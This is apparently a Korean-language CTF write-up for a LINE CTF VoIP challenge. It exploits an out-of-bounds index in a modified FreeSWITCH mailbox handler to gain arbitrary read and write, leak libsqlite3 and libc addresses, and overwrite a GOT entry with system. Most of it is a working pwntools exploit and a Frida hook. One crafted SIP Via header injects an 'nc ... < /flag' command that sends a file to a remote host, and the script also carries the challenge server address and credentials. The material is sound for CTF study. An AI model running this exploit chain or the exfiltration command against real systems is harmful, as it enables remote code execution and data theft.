취약점이 있는 Freeswitch 바이너리가 서버에서 동작한다.
Freeswitch는 인터넷으로 전화하는 프로토콜을 구현한 오픈소스이다.

취약점

많은 취약점이 패치된 코드에 존재하지만 mailbox_handle_edit에 존재하는 OOB 취약점만이 익스플로잇에 필요하다.

1
2
3
4
5
6
7
char *mailbox_handle_edit(sofia_profile_t *profile, const char *id, int idx, char *msg, int msg_len)
{
...
if (mailbox->mail[idx] != NULL) {
		strncpy(mailbox->mail[idx], msg, msg_len);
		strcpy(response, "edited");
}

위 그림에서 0x7f3170003528 은 mailbox->mail[0] 이다. 일반적인 포너블문제에서 하위 1.5바이트의 주소는 항상 고정적이지만, 이 문제는 많은 팀들이 서버에서 문제를 도전하기 때문에 하위 1.5바이트도 가변적이다.

또한 위 그림을 통해서 만약 -1번째 인덱스를 edit 하게 되면 AAW와 AAR이 가능함을 알 수 있다. 왜냐하면 -1번째 인덱스가 0번째 인덱스를 가르키는 구조이기 때문이다.

많은 시도를 하였고, /edit -1 \x03\x01 를 보냈을 때 높은 확률로 mailbox 의 매핑된 주소를 얻을 수 있었다.

서버의 mmap 구조가 커널별로 다를 수 있기 때문에 이제 고정적인 주소를 얻기 위해서 ‘연관된’ 주소들을 계속 찾아 나가야 한다. libsql3lite 와 관련된 주소가 우리가 얻은 매핑된 주소에 존재했고 이를 통해서 libsql3lite 의 베이스 주소를 구한다. 그리고 libsql3litereadlink 라는 libc 함수를 사용하고 있기 때문에 got 에서 libc 주소를 얻을 수 있다.

위 과정을 통해서 leak 을 하고 libc__strnlen got 를 system 으로 바꾸어주었다. 그리고 아래 메세지를 볼 수 있었다.

여기서 온전하게 컨트롤 가능한 메세지는 alias 부분이였고 이를 플래그를 원격서버로 전송하는 명령어로 바꾸어주었다.

Exploit code

문제를 풀기 위해서는 SIP 프로토콜의 구현이 필수적인데, SIP 스택을 구현하는 것은 굉장히 어려웠다. 보내는 것은 가능했는데, 받는것이 잘 안됐다. 그래서 microSIP 라는 GUI 프로그램을 사용해서 받는 부분만 frida 로 후킹하였다. 코드는 아래와 같다.

hack.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
import requests
import hashlib
import string
import random
import threading
import multiprocessing
from pwn import *
import frida
#context.log_level='debug'

last_recv = None

def on_message(message, data):
    global last_recv    
    recvd = message['payload']['message']
    recvd = reverse_by_two(recvd)
    last_recv = recvd
    print(last_recv)

def get_last_recv():
    global last_recv
    while last_recv == None:
        pass
    result = last_recv
    last_recv = None
    return result



def freeswitch(data):
    headers = {'Content-Type': 'text/xml'}
    return requests.post(f'http://{NAME}:{PW}@{HOST}:10030/freeswitch', headers=headers, data=data).text

def auth(nonce):
    uri = "sip:mailbox@iinevoip;transport=tcp"
    realm = 'iinevoip'
    method = "MESSAGE"

    cnonce = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(16))
    ha1 = hashlib.md5(f"{NAME}:{realm}:{PW}".encode()).hexdigest()
    ha2 = hashlib.md5(f"{method}:{uri}".encode()).hexdigest()
    response = hashlib.md5(f"{ha1}:{nonce}:00000001:{cnonce}:auth:{ha2}".encode()).hexdigest()
    return response, cnonce

def fake(cmd):
    payload = f'''MESSAGE sip:mailbox@iinevoip;transport=tcp SIP/2.0
Via: SIP/2.0/TCP localhost:8888;rport;branch=z9hG4bKPjc1f3656edecb41a383dd10b7f032baa1;nc xx.xx.77.140 8088 < /flag;
Max-Forwards: 70
From: <sip:{NAME}@iinevoip>;tag=2056482c9f1b494f9bce018e3a9529d7
To: <sip:mailbox@iinevoip>
Call-ID: 152fbd86d74a4025828905fe5a5648db
CSeq: 12802 MESSAGE
User-Agent: MicroSIP/3.21.3
Route: <sip:{HOST}:10002;transport=tcp;lr>
Content-Type: text/plain
Content-Length:     {len(cmd)}

'''.encode() + cmd

    p.send(payload)
    
    p.recvuntilS('nonce="')
    nonce = p.recvuntilS('"')[:-1]
    res, cnonce = auth(nonce)
    payload = f'''MESSAGE sip:mailbox@iinevoip;transport=tcp SIP/2.0
Via: SIP/2.0/TCP localhost:8888;rport;branch=z9hG4bKPjc1f3656edecb41a383dd10b7f032baa1;nc xx.xx
.77.140 8088 < /flag;
Max-Forwards: 70
From: <sip:{NAME}@iinevoip>;tag=2056482c9f1b494f9bce018e3a9529d7
To: <sip:mailbox@iinevoip>
Call-ID: 152fbd86d74a4025828905fe5a5648db
CSeq: 12802 MESSAGE
Route: <sip:{HOST}:10002;transport=tcp;lr>
Proxy-Authorization: Digest username="{NAME}", realm="iinevoip", nonce="{nonce}", uri="sip:mailbox@iinevoip;transport=tcp", response="{res}", algorithm=MD5, cnonce="{cnonce}", qop=auth, nc=00000001
Content-Type: text/plain
Content-Length:     {len(cmd)}

'''.encode() + cmd

    p.send(payload)
    sleep(0.5)


def command(cmd):
    payload = f'''MESSAGE sip:mailbox@iinevoip;transport=tcp SIP/2.0
Via: SIP/2.0/TCP localhost:8888;rport;branch=z9hG4bKPjc1f3656edecb41a383dd10b7f032baa1;alias
Max-Forwards: 70
From: <sip:{NAME}@iinevoip>;tag=2056482c9f1b494f9bce018e3a9529d7
To: <sip:mailbox@iinevoip>
Call-ID: 152fbd86d74a4025828905fe5a5648db
CSeq: 12802 MESSAGE
User-Agent: MicroSIP/3.21.3
Route: <sip:{HOST}:10002;transport=tcp;lr>
Content-Type: text/plain
Content-Length:     {len(cmd)}

'''.encode() + cmd

    p.send(payload)
    
    p.recvuntilS('nonce="')
    nonce = p.recvuntilS('"')[:-1]
    res, cnonce = auth(nonce)
    payload = f'''MESSAGE sip:mailbox@iinevoip;transport=tcp SIP/2.0
Via: SIP/2.0/TCP localhost:8888;rport;branch=z9hG4bKPjc1f3656edecb41a383dd10b7f032baa1;alias
Max-Forwards: 70
From: <sip:{NAME}@iinevoip>;tag=2056482c9f1b494f9bce018e3a9529d7
To: <sip:mailbox@iinevoip>
Call-ID: 152fbd86d74a4025828905fe5a5648db
CSeq: 12802 MESSAGE
Route: <sip:{HOST}:10002;transport=tcp;lr>
Proxy-Authorization: Digest username="{NAME}", realm="iinevoip", nonce="{nonce}", uri="sip:mailbox@iinevoip;transport=tcp", response="{res}", algorithm=MD5, cnonce="{cnonce}", qop=auth, nc=00000001
Content-Type: text/plain
Content-Length:     {len(cmd)}

'''.encode() + cmd

    p.send(payload)
    sleep(0.5)

HOST = '34.84.93.83'
#HOST = '172.19.192.6'
NAME = 'ccxx'
#PW = '7f7ef7b8392da8c7e61ea98d360fd48c'
PW = 'a8c00f42f9859e65eb3885872d14345e'
CALLID = '453e07af95254a18bdb88938940a923a'


def frida_att():    
    session = frida.attach('microsip.exe')
    script = session.create_script(open(r'E:\trash\linectf\voip\solve\hack.js','r',encoding='UTF-8').read())
    script.on("message",on_message)
    print('[+] Frida attaced')
    script.load()
     
def reverse_by_two(s):
    chunks = [s[i:i+2] for i in range(0, len(s), 2)]
    chunks.reverse()
    return ''.join(chunks)

print('[+] Start!')
multiprocessing.Process(target =frida_att(), args= ()).start()
p = remote(HOST, 10002)
command(b'/send ccxx 111')
command(b'/edit -1 \x03\x01')
command(b'/list')
leak = ((int(get_last_recv(), 16) & 0xFFFFFFFFFFFF)  >> 24) << 24
log.info('leak base : ' + hex(leak))
command(b'/edit -1 ' + p16(0x19a8))
command(b'/list')
leak2 = ((int(get_last_recv(), 16) & 0xFFFFFFFFFFFFFFFFFF)  >> 24)
sql3base = leak2 - 0x076fb0
log.info('libsqlite3 : ' + hex(sql3base))
leak3 = sql3base + 0x132798
command(b'/edit -1 ' + p64(leak3))
command(b'/list')
readlink = ((int(get_last_recv(), 16) & 0xFFFFFFFFFFFFFFFFFF)  >> 24)
libcbase = readlink - 0x0ed0a0
log.info('libc : ' + hex(libcbase))
system = libcbase + 0x045e90
strlen_got = libcbase + 0x1ce020 - 1
log.info('strlen_got : ' + hex(strlen_got))
pause()
command(b'/edit -1 ' + p64(strlen_got))
command(b'/edit 0 A' + p64(system))
pause()
fake(b'/list')
fake(b'/list')
fake(b'/list')
p.interactive()

hack.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
var hook = Module.getExportByName("WS2_32.dll", "send");
var hook2 = Module.getExportByName("WS2_32.dll", "recv");
console.log(hook, hook2)

function toHex(str) {
  var result = '';
  for (var i=0; i<str.length; i++) {
    result += str.charCodeAt(i).toString(16);
  }
  return result;
}

function stringToByteArray(str) {
  var byteArray = [];
  for (var i = 0; i < str.length; ++i) {
      var charCode = str.charCodeAt(i);
      byteArray.push(charCode & 0xFF);
  }
  return byteArray;
}

function byteArrayToHex(byteArray) {
  return Array.prototype.map.call(byteArray, function(byte) {
    return ('0' + (byte & 0xFF).toString(16)).slice(-2);
  }).join('');
}

function splitByteArray(byteArray, delimiter) {
  var result = [];
  var startIndex = 0;
  for (var i = 0; i < byteArray.length; i++) {
      var isDelimiterFound = true;
      for (var j = 0; j < delimiter.length; j++) {
          if (byteArray[i + j] !== delimiter[j]) {
              isDelimiterFound = false;
              break;
          }
      }
      if (isDelimiterFound) {
          result.push(byteArray.slice(startIndex, i));
          startIndex = i + delimiter.length;
          i += delimiter.length - 1;
      }
  }
  if (startIndex < byteArray.length) {
      result.push(byteArray.slice(startIndex));
  }
  return result;
}

var buf;
Interceptor.attach(hook2, {
  onEnter(args) {        
    buf = args[1];
      
  },
  
  onLeave(result) {
    try
    {
        result = Number(result.toString())
        if (result != 0xffffffff)
        {            
            var bbuffer = new Uint8Array(Memory.readByteArray(buf, result));            
            bbuffer = splitByteArray(bbuffer, [0x0d, 0x0a]);
            bbuffer = bbuffer[bbuffer.length - 1];
            //console.log(tmp);
            if (bbuffer.length != 0)
            {
                send({'message': byteArrayToHex(bbuffer)});
            }
        }
    }
    catch(ex)
    {
        console.log(ex);
    }
  }
});

LINECTF{f22da6a35e5f93fecb83044baf2cbb38}